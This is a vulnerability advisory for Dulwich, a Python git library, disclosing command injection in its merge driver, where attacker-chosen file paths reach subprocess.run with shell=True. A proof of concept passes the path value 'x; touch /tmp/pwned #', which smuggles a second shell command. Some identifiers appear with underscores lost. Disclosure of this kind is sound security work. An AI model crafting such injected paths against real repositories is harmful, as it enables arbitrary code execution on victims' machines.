PT-2026-59132 · Pypi · Dulwich

Published

2026-07-13

·

Updated

2026-07-13

CVSS v4.0

7.7

High

VectorAV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

  • Type: Command Injection
  • Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
  • Sink: merge drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
  • Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

Proof of Concept

python
from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from string(b"base")
ours = Blob.from string(b"ours")
theirs = Blob.from string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious path = b"x; touch /tmp/pwned #"

merge blobs(base, ours, theirs, path=malicious path,
      gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned

Fix

[merge drivers shell escape.patch](https://github.com/user-attachments/files/27016503/merge drivers shell escape.patch)

Fix

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Related Identifiers

PYSEC-2026-2464

Affected Products

Dulwich